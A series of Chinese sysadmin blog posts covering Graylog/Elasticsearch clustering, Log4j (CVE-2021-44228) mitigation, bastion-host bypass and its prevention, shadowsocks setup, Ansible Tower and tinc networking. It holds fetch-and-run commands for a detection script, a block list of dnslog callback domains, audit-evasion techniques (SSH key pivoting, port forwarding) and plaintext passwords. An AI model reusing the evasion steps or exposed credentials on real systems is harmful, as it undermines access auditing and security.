"192.168.31.213:9300"]3)graylog03节点cat /etc/elasticsearch/elasticsearch.yml | grep -v "^#" | grep -v "^$" cluster.name: graylog-cluster action.auto_create_index: false node.name: graylog03 node.master: false node.data: true path.data: /data/elasticsearch/data path.logs: /data/elasticsearch/logs network.host: 192.168.31.213 http.port: 9200 transport.port: 9300 discovery.seed_hosts: ["192.168.31.211:9300", "192.168.31.212:9300", "192.168.31.213:9300"]4、三个节点均修改jvm.options配置文件上内存大小firewall-cmd --add-port=9300/tcp --permanent --zone=public firewall-cmd --reload vim /etc/elasticsearch/jvm.options 设置jvm内存大小为物理内存的一半 并重启elasticsearch.service systemctl restart elasticsearch.service5、查看elasticsearch集群状态curl -s -XGET 'http://192.168.31.211:9200/_cluster/health?pretty=true' curl -s -XGET 'http://192.168.31.211:9200/_cat/nodes?v'三、安装GraylogServer并配置GraylogServer集群1、安装jdk,pwgen和graylog-serveryum install -y java-1.8.0-openjdk-headless.x86_64 yum install -y pwgenrpm -ivh https://packages.graylog2.org/repo/packages/graylog-4.2-repository_latest.rpm yum install graylog-server -ysystemctl enable graylog-server systemctl start graylog-server cp /etc/graylog/server/server.conf /etc/graylog/server/server.conf_default pwgen -N 1 -s 96 XC0Epiv5SnWFdm82nsUWAJN3t2MHaFEaSFHd6RLPf1nzxwnmubT0n7NQdrK8jCDEOS05DtrkGHDDE61490OUJKBOOXIAT4LI echo -n "Enter Password: " && head -1 </dev/stdin | tr -d '\n' | sha256sum | cut -d" " -f1 Enter Password: Graylog@2021 10dfabb9595634675701865aa1c6e774d89d59f4a104ab128fbffcdaa3cf8f7b2、修改graylog的主配置文件server.conf主节点graylog01的配置如下/etc/graylog/server/server.conf cat /etc/graylog/server/server.conf | grep -v "^#" | grep -v "^$" is_master = true node_id_file = /etc/graylog/server/node-id password_secret = XC0Epiv5SnWFdm82nsUWAJN3t2MHaFEaSFHd6RLPf1nzxwnmubT0n7NQdrK8jCDEOS05DtrkGHDDE61490OUJKBOOXIAT4LI root_password_sha2 = 10dfabb9595634675701865aa1c6e774d89d59f4a104ab128fbffcdaa3cf8f7b root_timezone = Asia/Shanghai bin_dir = /usr/share/graylog-server/bin data_dir = /var/lib/graylog-server plugin_dir = /usr/share/graylog-server/plugin http_bind_address = 192.168.31.211:9000 http_publish_uri = http://192.168.31.211:9000/ elasticsearch_hosts = http://graylog01:9200,http://graylog02:9200,http://graylog03:9200 rotation_strategy = count elasticsearch_max_docs_per_index = 20000000 elasticsearch_max_number_of_indices = 20 retention_strategy = delete elasticsearch_shards = 4 elasticsearch_replicas = 0 elasticsearch_index_prefix = graylog allow_leading_wildcard_searches = false allow_highlighting = true elasticsearch_analyzer = standard output_batch_size = 500 output_flush_interval = 1 output_fault_count_threshold = 5 output_fault_penalty_seconds = 30 processbuffer_processors = 8 outputbuffer_processors = 16 processor_wait_strategy = blocking ring_size = 65536 inputbuffer_ring_size = 65536 inputbuffer_processors = 2 inputbuffer_wait_strategy = blocking message_journal_enabled = true message_journal_dir = /var/lib/graylog-server/journal lb_recognition_period_seconds = 3 mongodb_uri = mongodb://graylog:Graylog2021@graylog01:27017,graylog02:27017,graylog03:27017/graylog?replicaSet=graylog-rs mongodb_max_connections = 1000 mongodb_threads_allowed_to_block_multiplier = 5 proxied_requests_thread_pool_size = 323、重启graylog-server服务,并开放9000 web端口建议将配置文件scp到graylog02和graylog03上firewall-cmd --add-port=9000/tcp --permanent --zone=public firewall-cmd --reload systemctl restart graylog-servergraylog02,graylog03节点修改如下三处即可is_master = true http_bind_address = 192.168.31.213:9000 http_publish_uri = http://192.168.31.213:9000/登录Graylog主界面查看GrayLog集群情况1、查看Nodes信息2、查看Cluster信息3、添加Input,可以设置成全局的Input记得三台几点防火墙开放Input设置的端口,例如syslog1514firewall-cmd --add-port=1514/udp --permanent --zone=public firewall-cmd --reloadTips:修改graylog的jvm内存大小本文参考如下链接完成https://docs.graylog.org/v1/docs/multinode-setup https://docs.mongodb.com/manual/tutorial/deploy-replica-set/ https://docs.mongodb.com/manual/tutorial/deploy-replica-set-with-keyfile-access-control/#std-label-deploy-repl-set-with-auth https://cloud.tencent.com/developer/article/1615815 https://zhuanlan.zhihu.com/p/120698020 https://www.cnblogs.com/opsdemo/p/15035379.html

一次由误修改/etc/profile文件后导致SSH无法登录的故障复盘

CentOS7系统下误修改/etc/profile文件后导致SSH无法登录的解决办法故障复现1、/etc/profile.d目录下误操作cd /etc/profile.d/ 目录下误操作,上传了一个sh脚本,刚好个脚本直接导致SSH无法登录 其他机器尝试SSH登录也是一样2、并控制台输入正确密码会自动退出,导致无法登录3、想尝试SSH过去覆盖该文件的方法也不可行echo "export TMOUT=600 " > init_centos7_v8.sh scp ./init_centos7_v8.sh root@192.168.31.127:/etc/profile.d/ ssh root@192.168.31.1274、由于是VMware虚拟机,最终不得不重启进解决VMware虚拟机重启进维护模式删除该文件解决具体步骤如下1、重启服务器,在选择内核界面使用上下箭头移动2、选择内核并按“e”3、找到下面这行这里要删除掉rhgb quiet 以及ro 改为rw init=/bin/bash然后Ctrl+X进入维护模式 4、bash命令下删除/etc/profile.d/该文件rm -rf /etc/profile.d/init_centos7_v8.sh exec /sbin/init退出维护模式5、这时就可以正常登录SSH和控制台了阿里云主机场景下如何解决控制台输入密码会自动退出无法登录如果是阿里云主机呢 可以借助阿里云助手来解决,且不用重启服务器 或者阿里云CLI工具(实质是借助云助手) 具体方法如下1、云控制台中云助手下发命令解决2、辅助Linux机器安装阿里云CLI工具执行CLI命令解决在Linux上安装阿里云CLI参考如下链接https://help.aliyun.com/document_detail/121541.html下载链接https://aliyuncli.alicdn.com/aliyun-cli-linux-latest-amd64.tgz?spm=a2c4g.11186623.0.0.1e52714aaP7ZjP&file=aliyun-cli-linux-latest-amd64.tgztar -zxvf aliyun-cli-linux-latest-amd64.tgz mv aliyun /usr/local/bin然后aliyun configurealiyun configure 配置AccessKey复制命令执行aliyun ecs RunCommand --RegionId 'cn-hangzhou' --Username 'root' --RepeatMode 'Once' --CommandContent 'ZWNobyA+IC9ldGMvcHJvZmlsZS5kL2luaXRfY2VudG9zN192OC5zaA==' --Name 'cmd_2021-12-16_20-11-46' --Type 'RunShellScript' --ContentEncoding 'Base64' --InstanceId.1 'i-bpXXXXXXXXXXXXXX'接下来验证效果, 可以看到下发命令后就可以正常登录了总结:线上操作命令务必慎重,小心再小心,无法SSH直接导致无法进行维护,若没有安装阿里云助手,那就必须重启服务器才能解决,对于不能停机重启的业务系统服务器就非常尴尬了,所以对生产环境要有敬畏之心!!!谨记!

Elasticsearch Log4j漏洞快速修复步骤

一、Elasticsearch关于Log4j2漏洞的官方说明可以参考如下链接https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476摘要:2021年12月9日,Log4j的GitHub公开披露了一个影响Apache Log4j2多个版本的高严重性漏洞 (CVE-2021-44228) 该漏洞影响了Apache Log4j2的2.0到2.14.1版本。Github地址:https://logging.apache.org/log4j/2.x/本公告总结了对 Elastic 产品的任何潜在影响以及缓解问题的相关公告。Elastic 官方工程和安全团队继续积极开展分析和(探讨)我们的用户应执行的任何操作,同时识别可用于识别漏洞潜在利用的检测签名。Elasticsearch 公告 (ESA-2021-31) Log4j 是包括 Elasticsearch在内的无数Java应用程序使用的标准日志记录库。由于我们使用了Java安全管理器,Elasticsearch不易受此漏洞的远程代码执行影响,但是很快我们将提供Elasticsearch 6.8.21和7.16.1,这将删除易受攻击的Log4j组件并设置下面标识的JVM选项。1、 Elasticsearch 受影响的版本Elasticsearch 5.0.0+ 版本包含一个易受攻击的 Log4j 版本,以及缓解攻击的安全管理器(Security Manager)。2、 Elasticsearch 解决方案和缓解措施方案一:用户可在 Elasticsearch 6.8.22 或 7.16.1 发布后升级 方案二:设置 JVM 选项-Dlog4j2.formatMsgNoLookups=true二、ElasticSearch安全更新版本已发布2021.12.14 ElasticSearch官方已经发布漏洞修复版本7.16.1 6.8.21版本用户可以升级到Elasticsearch 7.16.1 69或6.8.21 , 于2021年12月13日发布。这些版本没有升级 Log4j 包,而是通过设置JVM 选项来缓解漏洞 -Dlog4j2.formatMsgNoLookups=true 并从 Log4j 包中删除易受攻击的 JndiLookup 类。三、ElasticSearch安全版本升级步骤1、确认当前ElasticSearch版本rpm -aq | grep elasticsearch2、下载最新elasticsearch安全版本7.16.1腾讯云镜像站https://mirrors.cloud.tencent.com/elasticstack/7.x/yum/7.16.1/elasticsearch-7.16.1-x86_64.rpm3、上传并安装rpm -Uvh elasticsearch-7.16.1-x86_64.rpm4、重启elasticsearch服务systemctl daemon-reload systemctl restart elasticsearch.service5、确认是否生效ps -ef | grep log4j2.formatMsgNoLookups=true四、Elasticsearch Log4j缓解措施所使用Elasticsearch的版本6.X 5.X 7.X均有,不便于升级的话,可以使用缓解措施以RPM安装的Elasticsearch 6.8.8版本为例1、切换到配置目录下cd /etc/elasticsearch2、vim jvm.options 在配置文件中加入如下一行vim jvm.options #加入如下行 -Dlog4j2.formatMsgNoLookups=true3、然后重启elasticsearch服务生效systemctl restart elasticsearch.service ;log4j2.formatMsgNoLookups=true 参数确认

【已修复Log4j2漏洞】GrayLog安全版本4.2.3升级实践

12月9日,一个影响 Apache Log4j2 2.0<=2.14.1版本的零日漏洞被公开。Graylog 使用 Log4j 2 Java库来记录自身的日志信息。该库的2.15.0之前的版本容易受到远程代码执行攻击,特别是当作为用户输入发送的特定值将由 Graylog 记录时。有关该漏洞的更多详细信息,请参阅CVE-2021-44228https://nvd.nist.gov/vuln/detail/CVE-2021-44228Apache发布了新的Log4j来修复该漏洞,Graylog 开发团队立即将此修复程序整合到该平台的所有支持版本(v3.3.15、v4.0.14、v4.1.9 和 v4.2.3)中。受影响的 GRAYLOG 版本 All Versions >= 1.2.0 和 <= 4.2.2Graylog 官方建议用户立即升级到适当的版本https://www.graylog.org/post/graylog-update-for-log4j下面以GrayLog 4.1.5为例,简单介绍GrayLog升级到最新安全版本4.2.3的步骤1、确认当前GrayLog版本rpm -aq | grep graylog​​​2、卸载graylog4.1的repo仓库yum remove graylog-4.1-repository-1-3.noarch​​3、使用最新的graylog repohttps://packages.graylog2.org/repo/packages/graylog-4.2-repository_latest.rpm​​​wget https://packages.graylog2.org/repo/packages/graylog-4.2-repository_latest.rpm rpm -ivh graylog-4.2-repository_latest.rpm yum clean all yum makecache4​、升级graylog-server至最新安全版本yum update graylog-server systemctl restart graylog-server.service tail -f /var/log/graylog-server/server.log​​​在上面server.log中的WARN日志,建议开启Elasticsearch安全认证https://www.elastic.co/guide/en/elasticsearch/reference/7.14/security-minimal-setup.htmlGrayLog添加用户密码认证接入Elasticsearch1、elastic开启xpack.securityvim /etc/elasticsearch/elasticsearch.yml 加入如下一行 xpack.security.enabled: true cat /etc/elasticsearch/elasticsearch.yml | grep -v ^# systemctl restart elasticsearch.service2、 给保留用户elastic设置密码/usr/share/elasticsearch/bin/elasticsearch-setup-passwords interactive​​​​3、验证elasticsearch用户密码curl -u elastic:elastic@2021 http://127.0.0.1:9200​​​4、重新修改内置用户elastic的密码因为elasticsearch-setup-passwords interactive命令只能使用一次,所以采用如下方式进行修改curl -X POST -u elastic:elastic@2021 "localhost:9200/_security/user/elastic/_password?pretty​​为什么修改密码?因为下面在配置Graylog对接Elasticsearch时不支持密码中含@特殊符号,试过\转义也不行5、修改graylog配置文件中elasticsearch_hosts配置vim /etc/graylog/server/server.conf 添加如下一行 elasticsearch_hosts = http://elastic:elastic2021@127.0.0.1:9200​​6、重启GrayLog-server服务systemctl restart graylog-server.service tail -f /var/log/graylog-server/server.log​​​​7、验证graylog升级后版本信息rpm -aq | grep graylog可以看到升级到了4.2.3版本 为什么说是安全版本?ps -ef | grep log4j2.formatMsgNoLookups=true因为开启了log4j2.formatMsgNoLookups=true​当然不升级版本,在JAVA_OPTS启动参数里加该配置也是可以的8、这时重新验证漏洞是否存在发现elasticsearch组件仍存在漏洞​​​Elasticsearch 官方安全公告 (ESA-2021-31)  Log4j 是包括 Elasticsearch 在内的无数 Java 应用程序使用的标准日志记录库。由于我们使用了 Java 安全管理器,Elasticsearch 不易受此漏洞的远程代码执行影响,但是很快我们将提供 Elasticsearch 6.8.21 和 7.16.1,这将删除易受攻击的 Log4j 组件并设置下面标识的 JVM 选项。​​如果要彻底修复,还是等elasticsearch7.16.1版本发布后升级更新Elasticsearch至7.16.1版本 可以参考如下链接https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476 https://mp.weixin.qq.com/s/sGFjVyjoyt32p2gCL05A7Q9、验证Graylog服务是否正常​

Apache Log4j2 高危漏洞应急响应处置方法汇总整理

Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置, 经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。 2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0 正式版本。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。2021年12月10日,国家信息安全漏洞共享平台(CNVD)收录了Apache Log4j2远程代码执行漏洞(CNVD-2021-95914)CVE编号:CVE-2021-44228各大厂商的发布的安全公告可以参考特大号的公众号文章:https://mp.weixin.qq.com/s/vKiG3P7V5qXL1gUAeKVy0w目前可能的受影响应用组件包括但不限于:Spring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、Elasticsearch、Flume、Dubbo、Redis、Logstash、Kafka 等在实际生产环境,虽然很多系统并未使用Java,但后台的服务中大量使用了ElasticSearch、Kafka、Estorm、Logstash等Java实现的开源组件,也会通过前台的输入产生实际影响。因此,实际影响面远超想象一、漏洞检测工具1、微步在线提供的免费Log4j2漏洞资产排查工具下载!https://static.threatbook.cn/tools/log4j-local-check.sh使用方式如下截图所示wget https://static.threatbook.cn/tools/log4j-local-check.sh sh log4j-local-check.sh2、长亭科技也提供了在线检测工具https://log4j2-detector.chaitin.cn/​​​https://chaitin-marketing-public.cn-beijing.oss.aliyuncs.com/log4j.tgz工具检测使用示例截图1、共两条命令,先执行第一条命令,不要中断,然后再启动一个终端执行第二条命令2、注意两条命令需要在同一个目录下执行json格式美化后的结果 "results": [ "arch": "", "container_id": "", "edition": "", "path": "/usr/share/graylog-server/graylog.jar#META-INF/maven/org.apache.logging.log4j/log4j-core/pom.xml", "product": "log4j-core", "vendor": "org.apache.logging.log4j", "version": "2.13.3" "arch": "", "container_id": "", "edition": "", "path": "/usr/share/elasticsearch/bin/elasticsearch-sql-cli-7.14.0.jar#META-INF/maven/org.apache.logging.log4j/log4j-core/pom.xml", "product": "log4j-core", "vendor": "org.apache.logging.log4j", "version": "2.11.1" "arch": "", "container_id": "", "edition": "", "path": "/usr/share/elasticsearch/lib/elasticsearch-7.14.0.jar#META-INF/MANIFEST.MF", "product": "elasticsearch", "vendor": "elastic", "version": "7.14.0" "arch": "", "container_id": "", "edition": "", "path": "/usr/share/elasticsearch/lib/log4j-core-2.11.1.jar#META-INF/maven/org.apache.logging.log4j/log4j-core/pom.xml", "product": "log4j-core", "vendor": "org.apache.logging.log4j", "version": "2.11.1" }二、Log4j2 漏洞修复建议临时性缓解措施(任选一种,但是注意,只有 >=2.10.0 版本才可以用,老版本不支持这个选项)1、在 jvm 参数中添加 -Dlog4j2.formatMsgNoLookups=true2、系统环境变量中将LOG4J_FORMAT_MSG_NO_LOOKUPS 设置为 true 据说之前这个 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true方法无效,目前需要更正为 LOG4J_FORMAT_MSG_NO_LOOKUPS设置为true3、创建 log4j2.component.properties 文件,文件中增加配置 log4j2.formatMsgNoLookups=true 彻底修复漏洞:方案一、研发代码修复:升级到官方提供的 log4j-2.15.0-rc2 版本升级Apache Log4j所有相关应用到最新的 Log4j-2.15.0官方稳定版本。下载地址:https://logging.apache.org/log4j/2.x/download.html方案二、生产环境修复https://github.com/zhangyoufu/log4j2-without-jndi由长亭工程师提供的删除了 JndiLookup.class 的对应版本直接替换重启即可。(如果不放心网上下载的版本,也可以自己手动解压删除:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class删除jar包里的这个漏洞相关的class,然后重启服务即可)三、建议的应急处置方法安全工程师可以参照以下流程排查风险并加固1、攻击识别在边界防护设备上增加针对该漏洞攻击拦截策略,例如WAF、FW、IPS等,目前各大安全厂商基本上已经于12月10号已经更新的漏洞特征库或入侵防御特征库 在内网流量或者日志分析设备上增加识别策略2、主机资产加固在主机资产的防护系统,例如主机安全产品(例如椒图云锁,EDR等)上增加防护策略 通过扫描器主动扫描网络、主机安全产品盘点和发现资产、综合排查出受影响的资产 可以结合堡垒机批量运维功能,批量下发并执行检测脚本梳理有漏洞的资产cd /opt;wget https://static.threatbook.cn/tools/log4j-local-check.sh;sh log4j-local-check.sh;3、限制受影响应用对外访问互联网,并在边界对dnslog相关域名访问进行检测。部分公共dnslog平台如下:ceye.io dnslog.link dnslog.cn dnslog.io tu4.org burpcollaborator.net s0x.cn建议直接在出口防火墙上对这些域名做阻断附腾讯安全提供的IOC情报域名建议也加入阻断名单 4、后期漏洞整改对已经梳理出受漏洞影响的资产清单参考上面的漏洞修复建议进行 对于无法加固的系统,实现离线/隔离、加强主机安全监控、增加边界防护策略

细谈企业网络安全中堡垒机绕过问题

概况:​​​企业网络大多数堡垒机部署时,为了不改变现有的网络拓扑结构,采用旁路部署的方案,通过在防火墙或者交换机上配置ACL策略限制用户区PC直接访问服务器区主机IP或者端口(SSH,RDP等等),实现强制员工只能通过堡垒机访问服务器谈到堡垒机就避不开堡垒机被绕过问题,我这边列举如下几种堡垒机被绕过的场景例如:如下拓扑图,4台服务器已经托管到堡垒机,可以直接通过堡垒机调用本地工具进行运维(图片可点击放大查看)(图片可点击放大查看)(图片可点击放大查看)场景1、绕过ACL策略服务器区防火墙或者交换机上没有做ACL,以及当ACL策略做的细粒度不够,导致用户区PC可以直接绕过堡垒机,直接远程服务器(图片可点击放大查看)如图如示,黑色虚线为本来的访问路径,需要通过堡垒机才能访问Server_A 红色虚线代表现在绕过堡垒机直接访问Server_A场景2、通过堡垒机跳转绕过另外一种场景就是,先通过堡垒机访问A服务器,然后再在A服务器上去访问B服务器,这样就绕过了堡垒机间接访问了B服务器如下拓扑图所示(图片可点击放大查看)先通过堡垒机访问Server_A 192.168.31.18,由于root密码都是堡垒机进行托管,不知道Server_B 192.168.31.232的root密码,员工可以通过创建免密登录,ssh-keygen -b 2048(图片可点击放大查看)再通过堡垒机访问一次Server_B 192.168.31.232 将上一步生成公钥内容导入到192.168.31.232的 /root/.ssh/authorized_keys(图片可点击放大查看)这样以后就访问ServerB就只用通过堡垒机访问Server_A,再在Server_A上直接SSH到Server_B(图片可点击放大查看)虽然Server_A的上的操作都可以被堡垒机审计(堡垒机录像回放), 但是假设刚好Server_A没有被堡垒机托管,只把Server_B用堡垒机托管了,那这种绕过堡垒机的方式就会导致Server_B上的所有运维操作没有被审计到 Server_A是开发环境,Server_B是生产环境,万一对生产环境Server_B造成了破坏时,日志也被删除,这时就很难回溯了再往深想一下:如果Server_A------->Server_B-------->Server_E-------->Server_F-------->.......这样多跳几次呢?如何防范?当然Windows服务器RDP也会出现这种场景 先通过堡垒机访问Server_C 192.168.31.82 再mstsc远程到Server_D 192.168.31.116(图片可点击放大查看)解决方案细述针对第1种和第2种场景如何进行彻底避免呢?我这边的一种解决办法就是在针对Linux服务器上做SSH访问控制,只允许堡垒机访问服务器的SSH,其他IP访问SSH全部阻断cat >> /etc/hosts.deny << \EOF sshd: ALL :spawn echo `date` login attempt from %c to %s ,the host is %h .PID is %p >> /var/log/tcpwrapper.log echo "#只允许堡垒机登录主机SSH" >> /etc/hosts.allow echo "sshd: 192.168.31.5" >> /etc/hosts.allow(图片可点击放大查看)(图片可点击放大查看)针对所有堡垒机托管的Linux服务器均做主机层面SSH访问控制 通过堡垒机访问Server_A 192.168.31.18,再在Server_A 192.168.31.18上SSH到Server_B 192.168.31.232就会被阻断(图片可点击放大查看)可以tail -f /var/log/tcpwrapper.log 查看阻断日志tail -f /var/log/tcpwrapper.log Sat Nov 20 22:07:09 CST 2021 login attempt from 192.168.31.18 to sshd@192.168.31.232 ,the host is 192.168.31.18 .PID is 39888当然如果堡垒机万一发生故障时,就会出现单点故障,如何预防:1、如果有备用堡垒机,需要将备用堡垒机的IP加到SSH访问白名单中2、将应急运维PC的IP加到SSH访问白名单中,可以堡垒机出现故障时,应急运维PC登录到服务器上进行SSH访问控制配置修改那RDP如何进行控制呢?可以在Windows防火墙的作用域中指定远程IP地址及IP地址段,不过前提是开启了Windows防火墙(图片可点击放大查看)可以看到当设置了只能堡垒机RDP远程到Server_D 192.168.31.116 在Server_C 192.168.31.82上就无法mstsc远程到Server_D 192.168.31.116telnet  192.168.31.116 3389端口不通(图片可点击放大查看)场景3、其它绕过场景1、目标服务器远程端口受到ACL限制,但其他端口没有限制,那么最简单的解决方式就可以通过端口转发来绕过 2、甚至如果服务器可以访问外网,可以直接通过向日葵,todesk,Teamviewer进行远程,这样就完全绕开了堡垒机审计需要对服务器网段封禁向日葵 Teamviewer等远程工具, 这种方式就不详细展开描述了​

CentOS7下安装并部署shadowsocks网络代理工具

Shadowsocks 是一个轻量级的 SOCKS5 网络代理工具,主要用于绕过网络censorship并访问被阻止的某些网站和网络协议​与其他代理软件不同,Shadowsocks 流量被设计为既与其他流量无法区分到第三方监控工具,也可以伪装成正常的直连。通过 Shadowsocks 的数据经过加密以提高安全性和隐私性。​一、rpm包方式安装并部署shadowsocks​1、配置EPEL源​curl -o /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo​​2、上传shadowsocks-libev的rpm并安装​yum localinstall shadowsocks-libev-3.2.0-2.el7.x86_64.rpm​​​​3、配置sysctl内核参数​vi /etc/sysctl.d/shadowsocks.conf 添加如下参数 # max open files fs.file-max = 51200 # max read buffer net.core.rmem_max = 67108864 # max write buffer net.core.wmem_max = 67108864 # default read buffer net.core.rmem_default = 65536 # default write buffer net.core.wmem_default = 65536 # max processor input queue net.core.netdev_max_backlog = 4096 # max backlog net.core.somaxconn = 4096 # resist SYN flood attacks net.ipv4.tcp_syncookies = 1 # reuse timewait sockets when safe net.ipv4.tcp_tw_reuse = 1 # turn off fast timewait sockets recycling net.ipv4.tcp_tw_recycle = 0 # short FIN timeout net.ipv4.tcp_fin_timeout = 30 # short keepalive time net.ipv4.tcp_keepalive_time = 1200 # outbound port range net.ipv4.ip_local_port_range = 10000 65000 # max SYN backlog net.ipv4.tcp_max_syn_backlog = 4096 # max timewait sockets held by system simultaneously net.ipv4.tcp_max_tw_buckets = 5000 # turn on TCP Fast Open on both client and server side net.ipv4.tcp_fastopen = 3 # TCP receive buffer net.ipv4.tcp_rmem = 4096 87380 67108864 # TCP write buffer net.ipv4.tcp_wmem = 4096 65536 67108864 # turn on path MTU discovery net.ipv4.tcp_mtu_probing = 1 # for high-latency network net.ipv4.tcp_congestion_control = hybla # for low-latency network, use cubic instead net.ipv4.tcp_congestion_control = cubic​​​​使参数生效​sysctl --system​​4、修改config.json配置文件​vi /etc/shadowsocks-libev/config.json 修改为如下 "server":"0.0.0.0", "server_port":8399, "local_port":1080, "password":"shadowsocks@2021", "timeout":60, "method":"aes-256-gcm" }​"server":选填,默认 "0.0.0.0"。配置客户端时填入服务器的实际 IP。"0.0.0.0" 表明服务端接受来自任何网络接口的连接"server_port":必填。需要在客户端配置时填入相同的值,建议修改默认的8388为其他端口"password":必填。需要在客户端配置时填入相同的值。连接服务端所需的密码,建议替换为复杂密码,避免被攻击者暴力破解"method":选填,服务端所用的加密方法。需要在客户端配置时填入相同的值。可以使用"aes-256-gcm" 具有足够安全性,且被各服务端及客户端广泛支持​5、启动shadowsocks-libev服务​systemctl start shadowsocks-libev systemctl enable shadowsocks-libev systemctl status shadowsocks-libev​​​​​并放通端口​firewall-cmd --permanent --zone=public --add-port=8399/tcp firewall-cmd --reload firewall-cmd --list-ports netstat -anp | grep 8399​6、windows客户端配置并验证代理上网效果​下载地址https://github.com/shadowsocks/shadowsocks-windows/releases设置为全局模式,并添加服务器配置​​​​​​​​验证效果​​​7、Linux下使用代理​通过上面windows10主机192.168.31.166作为局域网代理进行上网需要提前设置代理端口:例如11080​​​防火墙开放11080端口​​(图片可点击放大查看)并允许其它设备接入​​Linux服务器本身无法上网(通过修改原默认网关192.168.31.1为不通的内网地址192.168.31.254进行模拟)​vi /etc/profile 添加如下行 export https_proxy=http://192.168.31.166:11080 export http_proxy=http://192.168.31.166:11080 source /etc/profile验证curl -k https://www.baidu.com​​二、源码编译安装并配置shadowsocks-libev当然你可以也使用源码编译的方式安装 具体方法如下(就不截图展示了)1、 CentOS7下安装依赖包yum install -y gcc gettext autoconf libtool automake make pcre-devel asciidoc xmlto udns-devel \ libev-devel libsodium-devel mbedtls-devel git m2crypto c-ares-devel2、编译方装cd /opt git clone https://github.com/shadowsocks/shadowsocks-libev.git cd shadowsocks-libev git submodule update --init --recursive ./autogen.sh ./configure make && make install3、创建shadowsocks用户及shadowsocks配置文件adduser --system --no-create-home -s /bin/false shadowsocks mkdir -m 755 /etc/shadowsocks vi /etc/shadowsocks/shadowsocks.json "server":"IP_address", "server_port":8388, "password":"password", "timeout":300, "method":"aes-256-gcm", "fast_open": true }4、配置sysctl内核参数vi /etc/sysctl.d/shadowsocks.conf 添加参数(见上面的步骤) sysctl --system5、创建服务shadowsocks的systemd服务vi /etc/systemd/system/shadowsocks.service 添加如下行 [Unit] Description=Shadowsocks proxy server [Service] User=root Group=root Type=simple ExecStart=/usr/local/bin/ss-server -c /etc/shadowsocks/shadowsocks.json -a shadowsocks -v start ExecStop=/usr/local/bin/ss-server -c /etc/shadowsocks/shadowsocks.json -a shadowsocks -v stop [Install] WantedBy=multi-user.targetsystemctl daemon-reload systemctl enable shadowsocks systemctl start shadowsocks配置方法与rpm安装的方式大同小异, 这里就不再验证测试效果​

Ansible Tower3.6.2的安装及简单使用

实现运维自动化的架构中会用到ansible,ansible脚本在部署服务器指令行中显得不太直观。可以参考之前的文章Ansible自动化工具快速入门实践Ansible Tower(之前叫做awx)是将ansible的指令界面化,简明直观,简单易用。Ansible Tower是一个基于Web的用户界面,提供了IT自动化的企业解决方案。它有一个友好用户的仪表板来管理部署和监控资源。Ansible Tower为Ansible增加自动化,可视化管理和监控能力一、Ansible Tower的安装1、准备一台CentOS8.4的虚拟机关闭SELINUX2、下载ansible-tower bundle版本的安装包https://releases.ansible.com/ansible-tower/setup-bundle/​​​解压安装包cd /opt tar -zxf ansible-tower-setup-bundle-3.6.2-1.el8.tar.gz3、修改inventory配置文件cd /opt/ansible-tower-setup-bundle-3.6.2-1/ vi inventory如下三处设置密码admin_password='ansible' pg_password='ansible' rabbitmq_password='ansible'4、安装ansible tower./setup.sh​5、Web登录并导入license文件​​ license文件请公众号回复 ansible tower获取二、Ansible Tower功能的简单使用使用tower执行一个简单playbook任务 1、后台创建playbook yml文件Tower playbook 项目默认存在 /var/lib/awx/projects/su - awx cd projects/ mkdir ansible-for-devops && cd ansible-for-devops vi main.yml添加如下内容--- - hosts: all gather_facts: no tasks: - name: Check the date on the server. command: date - name: Check the network ip on the server. command: ifconfig2、创建Credential密码凭证3、创建project​​4、创建主机仓库inventory并添加host​​​5、添加job模板​​​​6、执行job​​​​

使用tinc+quagga搭建个人SD-WAN网络

使用tinc+quagga搭建个人SD-WAN网络拓扑如下一、tinc安装与配置1、CentOS7云主机安装tinc​​yum install tincmkdir -p /etc/tinc/tincnet/ mkdir /etc/tinc/tincnet/hosts cd /etc/tinc/tincnet/ vi tinc.conf Name = Server_Node Interface = tinctun AddressFamily = ipv4 Mode = switch ConnectTo = Slave_Node Compression=9 Cipher = aes-256-cbc Digest = sha256 PrivateKeyFile=/etc/tinc/tincnet/rsa_key.privvi tinc-up #!/bin/sh ip link set $INTERFACE up ip addr add 10.254.254.2/24 dev $INTERFACE ip route add 10.254.254.0/24 dev $INTERFACE vi tinc-down #!/bin/sh ip route del 10.254.254.0/24 dev $INTERFACE ip addr del 10.254.254.2/24 dev $INTERFACE ip link set $INTERFACE down chmod 755 tinc*cd /etc/tinc/tincnet/hosts vi Server_Node Address = 129.211.209.82 Subnet = 10.254.254.2/32 Port = 655通过tincd生成非对称密钥#通过tincd生成非对称密钥 tincd -n tincnet -K 40962、分支节点安装配置tinc配置与上面类似,不再赘述,截图如下​​​​​​3、保证两个节点的hosts文件夹都有全部节点的hosts信息scp /etc/tinc/tincnet/hosts/Slave_Node root@129.211.209.82:/etc/tinc/tincnet/hosts/ scp root@129.211.209.82:/etc/tinc/tincnet/hosts/Server_Node /etc/tinc/tincnet/hosts​​​​4、配置etc/sysctl.conf文件net.ipv4.ip_forward = 1​​​​5、防火墙放通655端口​​​6、启动tinc服务systemctl start tinc@tincnet systemctl status tinc@tincnet​​​二、手工静态路由方式实现互访添加路由前截图例如分支节点上添加静态路由route add -net 10.106.0.0/20 dev tinctun三、安装quagga配置ospf实现互通1、两节点均安装并配置quaggayum install quagga cd /etc/quagga/ cp /usr/share/doc/quagga-0.99.22.4/zebra.conf.sample ./ cp /usr/share/doc/quagga-0.99.22.4/ospfd.conf.sample ./ cp zebra.conf.sample zebra.conf cp ospfd.conf.sample ospfd.conf chmod 777 *.conf chmod 777 /var/log/ospfd/ systemctl enable zebra systemctl enable ospfd systemctl start zebra systemctl start 